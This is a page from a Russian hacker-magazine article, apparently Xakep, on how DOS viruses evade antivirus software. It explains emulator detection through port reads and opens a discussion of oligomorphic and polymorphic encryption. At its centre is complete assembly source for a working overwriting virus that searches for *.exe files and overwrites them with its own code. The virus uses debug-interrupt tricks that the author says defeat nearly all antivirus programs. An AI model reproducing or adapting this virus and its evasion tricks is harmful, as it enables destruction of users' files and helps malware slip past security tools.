|

Как работают роботы-убийцы
Xakep, номер #042, стр. 042-046-2
Второй способ обмана эмулятора - это обмануть его на эмуляции периферии. Возьмем за пример отказ эмулятора при эмуляции работы с портами:
;---------------------------
in ax,42h
mov si,ax
in ax,42h
cmp ax,si
jnz exit
mov bx,1234h ; антивирус эмулирует, а на самом деле это не работает
exit:
;----------------------------
Теперь перейдем к способам обмана анализатора. Есть возможность обмана анализатора прерываниями процессора, которые переключают процессор в режим отладки. Это прерывания один и три.
Рассмотрим пример:
;----------------------------------------------------------------------------------------
cseg segment
assume cs:cseg,ds:cseg
org 100h
start:
mov ah,09h ;
lea dx,msg ; Итак, представимся
int 21h ;
mov ah,4eh ; ДОС функция найти первый файл
find:
int 1h ;!!!!!!!!!!!!!!!!!!!!!!
lea dx,file1 ; маска файла для поиска
int 21h ; найти первый файл
infect:
mov ax,3d01h ;
mov dx,09Eh ; откроем его
int 21h ;
xchg ax,bx ; хэндл файла в bx
int 3h ; !!!!!!!!!!!!!!!!!!!!!
mov ah,40h ; будем записывать
mov cl,89 ; сколько байт будем записывать [наша длина]
mov dx,100h ; с какой позиции? С начала, конечно
int 21h ; писать сейчас!
mov ah,3eh ; закроем файл
int 21h ;
mov ah,4Fh ; найдем новый
int 21h ;
jnc infect ; и заразим
int 20h ; конец
file1 db '*.exe',0
msg db '[+ sImPl3 0w3rwRit3 cHUm4 2.0 +] by s10n$'
cseg ends
end start
;----------------------------------------------------------------------------------------
Данный простейший вирус очень элементарно обнаруживается без маскирующих приемов, отмеченных восклицательными знаками, но добавление этих приемов позволяет вирусу обойти практически все антивирусные программы.
Мутировать и прогибаться
Теперь перейдем к "мутационным" технологиям, которые еще обзывают «полиморфными технологиями». Существует два основных вида мутаций. Первый и самый распространенный - это полиморфная технология. Она заключается в том, что тело вируса шифруется. Простейшей реализацией этой технологии является олигоморфизм. Т.е. при каждом заражении вирус шифруется случайным ключом, и ключ сохраняется в теле вируса; потом по этому ключу вирус расшифровывается, выполняет заложенные в него функции и шифруется обратно, но уже новым ключом. Таким образом после каждого запуска вирус как бы мутирует и принимает новую форму, но данная технология не зря называется олигоморфной (не полностью полиморфной). Недостаток маскировки заключается в том, что расшифровщик в данном вирусе остается постоянным, и возможно обнаружение такого вируса по его расшифровщику. Например:
Назад на стр. 042-046-1 Содержание Вперед на стр. 042-046-3
|